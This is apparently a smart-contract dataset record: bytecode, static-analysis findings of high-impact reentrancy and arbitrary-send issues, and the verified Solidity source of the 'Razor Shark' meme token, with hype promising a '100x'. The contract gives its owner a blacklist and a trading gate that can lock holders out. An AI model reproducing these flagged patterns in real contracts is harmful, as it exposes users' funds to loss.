ffffffffffffff168152602001908152602001600020819055505b60006119cb306107a5565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a785750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ae4576003600a819055506009600b819055505b601160159054906101000a900460ff16158015611b4f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b675750601160169054906101000a900460ff165b15611c7557673782dace9d900000821115611b8157600080fd5b42600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf990613098565b60405180910390fd5b607842611c0f919061328e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5b81611f07565b60004790506000811115611c7357611c7247611d9e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d1e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d2857600090505b611d34848484846122c6565b50505050565b6000838311158290611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d799190612fd6565b60405180910390fd5b5060008385611d91919061336f565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dee60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e19573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e6a60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e95573d6000803e3d6000fd5b5050565b6000600854821115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613018565b60405180910390fd5b6000611eea6122f3565b9050611eff818461227c90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f65577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f935781602001602082028036833780820191505090505b5090503081600081518110611fd1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561207357600080fd5b505afa158015612087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ab9190612a68565b816001815181106120e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061214c30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611312565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121b0959493929190613173565b600060405180830381600087803b1580156121ca57600080fd5b505af11580156121de573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156122145760009050612276565b600082846122229190613315565b905082848261223191906132e4565b14612271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612268906130b8565b60405180910390fd5b809150505b92915050565b60006122be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231e565b905092915050565b806122d4576122d3612381565b5b6122df8484846123c4565b806122ed576122ec61258f565b5b50505050565b60008060006123006125a3565b91509150612317818361227c90919063ffffffff16565b9250505090565b60008083118290612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c9190612fd6565b60405180910390fd5b506000838561237491906132e4565b9050809150509392505050565b6000600a5414801561239557506000600b54145b1561239f576123c2565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806123d687612605565b95509550955095509550955061243486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251581612715565b61251f84836127d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161257c9190613158565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506125d9683635c9adc5dea0000060085461227c90919063ffffffff16565b8210156125f857600854683635c9adc5dea00000935093505050612601565b81819350935050505b9091565b60008060008060008060008060006126228a600a54600b5461280c565b92509250925060006126326122f3565b905060008060006126458e8787876128a2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d3a565b905092915050565b60008082846126c6919061328e565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290613058565b60405180910390fd5b8091505092915050565b600061271f6122f3565b90506000612736828461220190919063ffffffff16565b905061278a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e78260085461266d90919063ffffffff16565b600881905550612802816009546126b790919063ffffffff16565b6009819055505050565b600080600080612838606461282a888a61220190919063ffffffff16565b61227c90919063ffffffff16565b905060006128626064612854888b61220190919063ffffffff16565b61227c90919063ffffffff16565b9050600061288b8261287d858c61266d90919063ffffffff16565b61266d90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128bb858961220190919063ffffffff16565b905060006128d2868961220190919063ffffffff16565b905060006128e9878961220190919063ffffffff16565b9050600061291282612904858761266d90919063ffffffff16565b61266d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061293e6129398461320d565b6131e8565b9050808382526020820190508285602086028201111561295d57600080fd5b60005b8581101561298d57816129738882612997565b845260208401935060208301925050600181019050612960565b5050509392505050565b6000813590506129a681613822565b92915050565b6000815190506129bb81613822565b92915050565b600082601f8301126129d257600080fd5b81356129e284826020860161292b565b91505092915050565b6000813590506129fa81613839565b92915050565b600081519050612a0f81613839565b92915050565b600081359050612a2481613850565b92915050565b600081519050612a3981613850565b92915050565b600060208284031215612a5157600080fd5b6000612a5f84828501612997565b91505092915050565b600060208284031215612a7a57600080fd5b6000612a88848285016129ac565b91505092915050565b60008060408385031215612aa457600080fd5b6000612ab285828601612997565b9250506020612ac385828601612997565b9150509250929050565b600080600060608486031215612ae257600080fd5b6000612af086828701612997565b9350506020612b0186828701612997565b9250506040612b1286828701612a15565b9150509250925092565b60008060408385031215612b2f57600080fd5b6000612b3d85828601612997565b9250506020612b4e85828601612a15565b9150509250929050565b600060208284031215612b6a57600080fd5b600082013567ffffffffffffffff811115612b8457600080fd5b612b90848285016129c1565b91505092915050565b600060208284031215612bab57600080fd5b6000612bb9848285016129eb565b91505092915050565b600060208284031215612bd457600080fd5b6000612be284828501612a00565b91505092915050565b600060208284031215612bfd57600080fd5b6000612c0b84828501612a15565b91505092915050565b600080600060608486031215612c2957600080fd5b6000612c3786828701612a2a565b9350506020612c4886828701612a2a565b9250506040612c5986828701612a2a565b9150509250925092565b6000612c6f8383612c7b565b60208301905092915050565b612c84816133a3565b82525050565b612c93816133a3565b82525050565b6000612ca482613249565b612cae818561326c565b9350612cb983613239565b8060005b83811015612cea578151612cd18882612c63565b9750612cdc8361325f565b925050600181019050612cbd565b5085935050505092915050565b612d00816133b5565b82525050565b612d0f816133f8565b82525050565b6000612d2082613254565b612d2a818561327d565b9350612d3a81856020860161340a565b612d4381613544565b840191505092915050565b6000612d5b60238361327d565b9150612d6682613555565b604082019050919050565b6000612d7e602a8361327d565b9150612d89826135a4565b604082019050919050565b6000612da160228361327d565b9150612dac826135f3565b604082019050919050565b6000612dc4601b8361327d565b9150612dcf82613642565b602082019050919050565b6000612de7601d8361327d565b9150612df28261366b565b602082019050919050565b6000612e0a60088361327d565b9150612e1582613694565b602082019050919050565b6000612e2d60218361327d565b9150612e38826136bd565b604082019050919050565b6000612e5060208361327d565b9150612e5b8261370c565b602082019050919050565b6000612e7360298361327d565b9150612e7e82613735565b604082019050919050565b6000612e9660258361327d565b9150612ea182613784565b604082019050919050565b6000612eb960248361327d565b9150612ec4826137d3565b604082019050919050565b612ed8816133e1565b82525050565b612ee7816133eb565b82525050565b6000602082019050612f026000830184612c8a565b92915050565b6000604082019050612f1d6000830185612c8a565b612f2a6020830184612c8a565b9392505050565b6000604082019050612f466000830185612c8a565b612f536020830184612ecf565b9392505050565b600060c082019050612f6f6000830189612c8a565b612f7c6020830188612ecf565b612f896040830187612d06565b612f966060830186612d06565b612fa36080830185612c8a565b612fb060a0830184612ecf565b979650505050505050565b6000602082019050612fd06000830184612cf7565b92915050565b60006020820190508181036000830152612ff08184612d15565b905092915050565b6000602082019050818103600083015261301181612d4e565b9050919050565b6000602082019050818103600083015261303181612d71565b9050919050565b6000602082019050818103600083015261305181612d94565b9050919050565b6000602082019050818103600083015261307181612db7565b9050919050565b6000602082019050818103600083015261309181612dda565b9050919050565b600060208201905081810360008301526130b181612dfd565b9050919050565b600060208201905081810360008301526130d181612e20565b9050919050565b600060208201905081810360008301526130f181612e43565b9050919050565b6000602082019050818103600083015261311181612e66565b9050919050565b6000602082019050818103600083015261313181612e89565b9050919050565b6000602082019050818103600083015261315181612eac565b9050919050565b600060208201905061316d6000830184612ecf565b92915050565b600060a0820190506131886000830188612ecf565b6131956020830187612d06565b81810360408301526131a78186612c99565b90506131b66060830185612c8a565b6131c36080830184612ecf565b9695505050505050565b60006020820190506131e26000830184612ede565b92915050565b60006131f2613203565b90506131fe828261343d565b919050565b6000604051905090565b600067ffffffffffffffff82111561322857613227613515565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613299826133e1565b91506132a4836133e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132d9576132d86134b7565b5b828201905092915050565b60006132ef826133e1565b91506132fa836133e1565b92508261330a576133096134e6565b5b828204905092915050565b6000613320826133e1565b915061332b836133e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613364576133636134b7565b5b828202905092915050565b600061337a826133e1565b9150613385836133e1565b925082821015613398576133976134b7565b5b828203905092915050565b60006133ae826133c1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613403826133e1565b9050919050565b60005b8381101561342857808201518184015260208101905061340d565b83811115613437576000848401525b50505050565b61344682613544565b810181811067ffffffffffffffff8211171561346557613464613515565b5b80604052505050565b6000613479826133e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ac576134ab6134b7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f436f6f6c646f776e000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61382b816133a3565b811461383657600080fd5b50565b613842816133b5565b811461384d57600080fd5b50565b613859816133e1565b811461386457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e48fe3f4c7d9a8a5b4ce621cc75c787852e67d8a659facb2f0f12407460d26464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,789
0x6a3d7a62d96a01c4ea6107a5a4f7ed67d260150b
/** *Submitted for verification at Etherscan.io on 2022-01-12 */ /* Razor Shark ($SHARK) Token Attention: $SHARK Invasion Approaching! Take a bite or be the bite... Ape in early for a furious 100x! Website: https://www.razorshark.live/ Telegram: https://t.me/razorsharkportal */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RazorShark is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Razor Shark"; string private constant _symbol = "SHARK"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 11; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x0C635e51CAf186eF0B9044c009e88D945Fbae6DB); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 40000000 * 10**9; //4.0% uint256 public _maxWalletSize = 50000000 * 10**9; //5.0% uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public { require(_msgSender() == _marketingAddress); require(redisFeeOnBuy < 2 && redisFeeOnSell < 2 && taxFeeOnBuy < 10 && taxFeeOnSell < 10); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b7d565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c9190612fc6565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612b41565b61086d565b6040516102599190612f90565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190612fab565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af91906131a8565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612ab6565b6108c1565b6040516102ec9190612f90565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612b05565b61099a565b005b34801561032a57600080fd5b50610333610b1d565b60405161034091906131a8565b60405180910390f35b34801561035557600080fd5b5061035e610b23565b60405161036b919061321d565b60405180910390f35b34801561038057600080fd5b50610389610b2c565b6040516103969190612f75565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612a28565b610b52565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612bbe565b610c42565b005b3480156103fd57600080fd5b50610406610cf4565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612a28565b610d66565b60405161043c91906131a8565b60405180910390f35b34801561045157600080fd5b5061045a610db7565b005b34801561046857600080fd5b50610483600480360381019061047e9190612be7565b610f0a565b005b34801561049157600080fd5b5061049a610fa9565b6040516104a791906131a8565b60405180910390f35b3480156104bc57600080fd5b506104c5610faf565b6040516104d29190612f75565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612bbe565b610fd8565b005b34801561051057600080fd5b5061051961108a565b60405161052691906131a8565b60405180910390f35b34801561053b57600080fd5b50610544611090565b6040516105519190612fc6565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612be7565b6110cd565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612c10565b61116c565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612b41565b611220565b6040516105e09190612f90565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612a28565b61123e565b60405161061d9190612f90565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612a28565b61125e565b60405161065a9190612f90565b60405180910390f35b34801561066f57600080fd5b5061067861127e565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612a7a565b6112f8565b6040516106ae91906131a8565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612be7565b61137f565b005b6106e861141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613108565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610824906134e2565b915050610778565b5050565b60606040518060400160405280600b81526020017f52617a6f7220536861726b000000000000000000000000000000000000000000815250905090565b600061088161087a61141e565b8484611426565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffff